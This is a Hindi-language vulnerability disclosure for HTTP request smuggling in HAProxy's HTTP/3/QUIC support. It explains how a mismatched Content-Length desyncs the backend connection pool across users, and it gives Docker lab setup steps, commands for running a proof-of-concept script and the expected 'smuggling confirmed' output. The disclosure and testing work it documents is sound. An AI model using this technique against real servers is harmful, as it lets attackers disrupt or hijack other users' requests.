
एक शून्य-बाइट QUIC पैकेट HAProxy के बैकएंड कनेक्शन पूल को डीसिंक्रोनाइज़ करने और असंबंधित उपयोगकर्ताओं के बीच HTTP अनुरोधों की तस्करी करने के लिए पर्याप्त है — यहां तक कि पूरी तरह से अलग फ्रंटएंड प्रोटोकॉल पर मौजूद उपयोगकर्ताओं के बीच भी।
पूरा पोस्ट यहाँ: https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
HAProxy के HTTP/3 इम्प्लीमेंटेशन में एक कमजोरी है जो हमलावर को Content-Length हेडर के साथ एक HTTP रिक्वेस्ट भेजने की अनुमति देती है जो वास्तविक बॉडी साइज़ से मेल नहीं खाता। HAProxy इस गलत फॉर्मेट वाली रिक्वेस्ट को बैकएंड पर HTTP/1.1 के माध्यम से घोषित Content-Length के साथ लेकिन शून्य बॉडी बाइट्स के साथ फॉरवर्ड करता है। जब बैकएंड एक प्रारंभिक प्रतिक्रिया भेजता है (जैसे, 301 रीडायरेक्ट) और TCP कनेक्शन से लंबित बॉडी को ड्रेन करता है, तो यह उस कनेक्शन पर अगली HTTP रिक्वेस्ट से संबंधित बाइट्स का उपभोग करता है — जो किसी भिन्न उपयोगकर्ता से उत्पन्न हो सकती है।
इसके परिणामस्वरूप HAProxy के बैकएंड कनेक्शन पूल के माध्यम से क्रॉस-यूज़र HTTP रिक्वेस्ट स्मगलिंग होती है।
प्रभावित: QUIC/H3 समर्थन वाला HAProxy (USE_QUIC=1)। HAProxy 3.0.18 पर परीक्षण किया गया।
आवश्यक कॉन्फ़िगरेशन: http-reuse always (गैर-डिफ़ॉल्ट, लेकिन प्रोडक्शन में सामान्य)
3 सेवाओं के साथ Docker Compose:
http-reuse always)/photos डायरेक्ट्री पर autoindex on है, /status 200 रिटर्न करता है# 1. लैब शुरू करें (HAProxy बिल्ड में पहली बार ~10 मिनट लगते हैं)
cd poc/
docker compose up -d --build
# 2. PoC को निरंतर मोड में चलाएं
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. ब्राउज़र से, https://<host>:10002/status पर नेविगेट करें
# (सेल्फ-साइन्ड सर्टिफिकेट स्वीकार करें, Chrome में --ignore-certificate-errors उपयोग करें)
# बार-बार रिफ्रेश करें। ~50% प्रतिक्रियाएं 400 Bad Request होंगी।
# 4. PoC रोकें (Ctrl+C)। सभी ब्राउज़र प्रतिक्रियाएं सामान्य (200) पर लौट आती हैं।
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
अपेक्षित आउटपुट:
[1] Sending poison request (H3/QUIC)...
-> 301 received. Backend connection pooled with pending body drain.
[2] Waiting 0.5s for HAProxy to pool the connection...
[3] Sending victim GET /status from SEPARATE QUIC connection...
-> Response: HTTP 400
[!] SMUGGLING CONFIRMED
[!] Victim on separate connection got 400 instead of 200
[!] Backend parsed victim's request as body of poison POST